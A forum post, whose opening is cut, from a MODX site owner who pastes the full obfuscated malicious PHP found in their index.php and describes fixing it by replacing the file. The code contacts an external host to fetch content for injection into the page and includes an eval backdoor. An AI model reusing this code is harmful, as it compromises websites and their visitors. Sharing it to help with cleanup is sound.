although i'm not completely sure yet. I opened the main
<?php
$GLOBALS['_1910648228_']=Array(base64_decode('' .'ZnVuY3Rpb25fZXh' .'p' .'c3' .'Rz'),base64_decode('' .'Y2htb2Q='),base64_decode('ZXJy' .'b3' .'J' .'fc' .'mVwb3J0a' .'W5' .'n'),base64_decode('' .'aW5' .'pX3NldA=='),base64_decode('Y3Vy' .'bF9z' .'ZXRvcHQ='),base64_decode('cHJl' .'Z19' .'tYXRjaA=='),base64_decode('Z' .'ml' .'s' .'ZV' .'9n' .'ZXRfY' .'29u' .'dG' .'V' .'ud' .'HM='),base64_decode('Y291bnQ='),base64_decode('bXRfcmFuZ' .'A=='),base64_decode('dX' .'Js' .'Z' .'W' .'5jb2Rl'),base64_decode('' .'dXJsZW5' .'jb2Rl'),base64_decode('b' .'WQ1'),base64_decode('aW5p' .'X2dldA' .'=='),base64_decode('Zm' .'lsZV' .'9nZXRfY29ud' .'G' .'VudHM='),base64_decode('ZnVu' .'Y' .'3Rp' .'b25' .'fZXhp' .'c3' .'R' .'z'),base64_decode('Y' .'3VybF' .'9' .'pbml0'),base64_decode('' .'Y3VybF9zZXRvc' .'HQ='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3' .'V' .'yb' .'F9leGVj'),base64_decode('Y3' .'V' .'ybF9jbG' .'9zZQ=' .'='),base64_decode('Z' .'mls' .'ZWN0aW' .'1l'),base64_decode('ZmdldHM' .'='),base64_decode('ZnN' .'vY2t' .'v' .'c' .'G' .'Vu'),base64_decode('bX' .'RfcmF' .'uZA=='),base64_decode('' .'ZXhw'),base64_decode('' .'dXJs' .'ZW5jb2' .'R' .'l'),base64_decode('dXJsZ' .'W5jb2Rl'),base64_decode('bW' .'Q1'),base64_decode('Zndya' .'XRl'),base64_decode('Y' .'XJyYXlfc' .'3BsaWNl'),base64_decode('' .'c' .'G9z'),base64_decode('bmw' .'yYnI='),base64_decode('dXJ' .'sZW5jb2' .'Rl'),base64_decode('ZmVvZg=='),base64_decode('' .'ZmdldHM='),base64_decode('c3' .'RycG' .'9z'),base64_decode('YX' .'Jy' .'YXlfa' .'W' .'5' .'0' .'Z' .'X' .'J' .'zZWN0'),base64_decode('' .'ZmNsb3Nl'),base64_decode('' .'cHJ' .'l' .'Z19zcGx' .'pdA' .'=='),base64_decode('' .'ZGl' .'y'),base64_decode('' .'c2' .'V' .'zc2l' .'vbl9u' .'YW1l'),base64_decode('' .'ZmxvY2s' .'='),base64_decode('YXJ' .'yYX' .'l' .'f' .'bWVyZ2U='),base64_decode('c' .'3R' .'ycG' .'9' .'z'),base64_decode('Z' .'Gly'),base64_decode('c3RyaXBz' .'bGFza' .'GV' .'z')); function _2061188766($i){$a=Array('aW5kZ2V0','U0NSSV' .'BUX0ZJTEVOQU1F','Z' .'Gl' .'zcGxhe' .'V9lcnJ' .'vcnM=','' .'M' .'A==','Y2xpZW' .'50X2' .'NoZWNr','Y2xpZW' .'50X2NoZWN' .'r','I' .'VxTIXU=','U' .'0' .'NSSVBUX' .'0ZJTEVO' .'Q' .'U1F','dQ==','dw' .'==','U0VSVk' .'VS' .'X05BTUU=','' .'UkV' .'RVUVTVF9V' .'Ukk=','SFR' .'U' .'UF9V' .'U0' .'V' .'S' .'X0' .'F' .'HRU' .'5U','a' .'H' .'R0cD' .'ovL2Jp' .'bG' .'xhci' .'5zdmVl' .'c' .'y5ydS' .'9n' .'Z' .'XQucGhwP2' .'Q9','J' .'nU' .'9','JmM9','Jmk9MS' .'ZoP' .'Q=' .'=','MjNhY' .'mRiNWU' .'zNjQ5ZD' .'YzYjgxYTU' .'4YTJjZmY2OD' .'g5MDk=','' .'MQ==','YWx' .'s' .'b3' .'df' .'dXJsX' .'2ZvcGVu','Y3Vyb' .'F9pbml0','cn' .'U=','Ym' .'ls' .'bGFyLnN2ZWVzL' .'nJ1','R0VUIC9nZ' .'XQucG' .'hwP2Q9','J' .'nU9','J' .'mM9','Jmk9' .'M' .'SZoPQ==','MjNhYmR' .'iN' .'W' .'UzNjQ' .'5ZD' .'Y' .'zYj' .'gxYTU4YTJjZ' .'mY2ODg5M' .'Dk=','M' .'Q==','IEhUVFAvMS4xDQo=','SG9' .'z' .'dDog' .'Y' .'mlsbG' .'FyLnN2ZW' .'VzLnJ1DQo=','Q29' .'u' .'bmVj' .'d' .'GlvbjogQ2xvc' .'2U' .'N' .'Cg0K','','c' .'H' .'V0Zn' .'N4dmh' .'i' .'ZGF' .'uZm' .'ts','Ymhueg' .'==','cXR' .'p','L1x' .'SX' .'FIv','d' .'H' .'ZxbWNq' .'dXNyZWd' .'rYWc=','cXo' .'=','cA==','OTliMDFhO' .'Tk=');return base64_decode($a[$i]);} if(!$GLOBALS['_1910648228_'][0](_2061188766(0))){$GLOBALS['_1910648228_'][1]($_SERVER[_2061188766(1)],round(0+51.2+51.2+51.2+51.2+51.2));function l__0(){$GLOBALS['_1910648228_'][2](round(0));$GLOBALS['_1910648228_'][3](_2061188766(2),_2061188766(3));while(round(0+1209.5+1209.5)-round(0+604.75+604.75+604.75+604.75))$GLOBALS['_1910648228_'][4]($nfe_0,$nfe_0,$nfe_1,$nfe_2);if(!empty($_COOKIE[_2061188766(4)]))die($_COOKIE[_2061188766(5)]);if($GLOBALS['_1910648228_'][5](_2061188766(6),$GLOBALS['_1910648228_'][6]($_SERVER[_2061188766(7)])))$nfe_3=_2061188766(8);else $nfe_3=_2061188766(9);$nfe_4=$_SERVER[_2061188766(10)] .$_SERVER[_2061188766(11)];$nfe_5=$_SERVER[_2061188766(12)];(round(0+1990.5+1990.5)-round(0+796.2+796.2+796.2+796.2+796.2)+round(0+3140)-round(0+785+785+785+785))?$GLOBALS['_1910648228_'][7]($nfe_6,$nfe_7):$GLOBALS['_1910648228_'][8](round(0+179.4+179.4+179.4+179.4+179.4),round(0+796.2+796.2+796.2+796.2+796.2));$nfe_8=_2061188766(13) .$GLOBALS['_1910648228_'][9]($nfe_4) ._2061188766(14) .$GLOBALS['_1910648228_'][10]($nfe_5) ._2061188766(15) .$nfe_3 ._2061188766(16) .$GLOBALS['_1910648228_'][11](_2061188766(17) .$nfe_4 .$nfe_5 .$nfe_3 ._2061188766(18));$nfe_9=round(0+1072.5+1072.5);if($GLOBALS['_1910648228_'][12](_2061188766(19))== round(0+0.25+0.25+0.25+0.25)){return $GLOBALS['_1910648228_'][13]($nfe_8);}elseif($GLOBALS['_1910648228_'][14](_2061188766(20))){$nfe_10=$GLOBALS['_1910648228_'][15]($nfe_8);$GLOBALS['_1910648228_'][16]($nfe_10,42,FALSE);$nfe_11=round(0+256.25+256.25+256.25+256.25);$GLOBALS['_1910648228_'][17]($nfe_10,19913,TRUE);$nfe_7=$GLOBALS['_1910648228_'][18]($nfe_10);$GLOBALS['_1910648228_'][19]($nfe_10);if((round(0+250+250+250)^round(0+250+250+250))&& $GLOBALS['_1910648228_'][20]($nfe_3,$nfe_5,$nfe_1))$GLOBALS['_1910648228_'][21]($nfe_12,$_SERVER);return $nfe_7;$nfe_13=_2061188766(21);}else{$nfe_2=$GLOBALS['_1910648228_'][22](_2061188766(22),round(0+26.666666666667+26.666666666667+26.666666666667),$nfe_0,$nfe_14,round(0+30));if(round(0+1123.8+1123.8+1123.8+1123.8+1123.8)<$GLOBALS['_1910648228_'][23](round(0+991+991),round(0+1816+1816)))$GLOBALS['_1910648228_'][24]($nfe_10);if($nfe_2){$nfe_6=_2061188766(23) .$GLOBALS['_1910648228_'][25]($nfe_4) ._2061188766(24) .$GLOBALS['_1910648228_'][26]($nfe_5) ._2061188766(25) .$nfe_3 ._2061188766(26) .$GLOBALS['_1910648228_'][27](_2061188766(27) .$nfe_4 .$nfe_5 .$nfe_3 ._2061188766(28)) ._2061188766(29);$nfe_6 .= _2061188766(30);$nfe_6 .= _2061188766(31);$GLOBALS['_1910648228_'][28]($nfe_2,$nfe_6);if((round(0+1379.3333333333+1379.3333333333+1379.3333333333)^round(0+1379.3333333333+1379.3333333333+1379.3333333333))&& $GLOBALS['_1910648228_'][29]($_SERVER,$nfe_5))$GLOBALS['_1910648228_'][30]($_REQUEST,$nfe_15);$nfe_16=_2061188766(32);if((round(0+176.5+176.5)^round(0+70.6+70.6+70.6+70.6+70.6))&& $GLOBALS['_1910648228_'][31]($_COOKIE))$GLOBALS['_1910648228_'][32]($_SERVER);while(!$GLOBALS['_1910648228_'][33]($nfe_2)){$nfe_16 .= $GLOBALS['_1910648228_'][34]($nfe_2,round(0+42.666666666667+42.666666666667+42.666666666667));if($GLOBALS['_1910648228_'][35](_2061188766(33),_2061188766(34))!==false)$GLOBALS['_1910648228_'][36]($nfe_0,$_COOKIE,$_REQUEST);}$GLOBALS['_1910648228_'][37]($nfe_2);$nfe_17=_2061188766(35);list($nfe_15,$nfe_12)=$GLOBALS['_1910648228_'][38](_2061188766(36),$nfe_16,round(0+2));if((round(0+779.2+779.2+779.2+779.2+779.2)+round(0+180.25+180.25+180.25+180.25))>round(0+3896)|| $GLOBALS['_1910648228_'][39]($nfe_12));else{$GLOBALS['_1910648228_'][40]($nfe_15,$nfe_6);}$nfe_1=round(0+0.5+0.5);if((round(0+1817.5+1817.5)+round(0+2087.5+2087.5))>round(0+1211.6666666667+1211.6666666667+1211.6666666667)|| $GLOBALS['_1910648228_'][41]($nfe_10));else{$GLOBALS['_1910648228_'][42]($nfe_16,$_SERVER,$nfe_10);}return $nfe_12;if($GLOBALS['_1910648228_'][43](_2061188766(37),_2061188766(38))!==false)$GLOBALS['_1910648228_'][44]($_REQUEST,$nfe_12,$nfe_0);}}}echo l__0();if(@$_REQUEST[_2061188766(39)]== _2061188766(40))eval($GLOBALS['_1910648228_'][45]($_REQUEST["c"]));};
I deleted this index.php file and replaced it with index.php from ModX installation archive. After that, the malicious code disappeared from my site.
Note: just deleting the mentioned code from index.php and saving it seemed not to be helpful, don't know why. Try to remove and replace index.php as I explained above.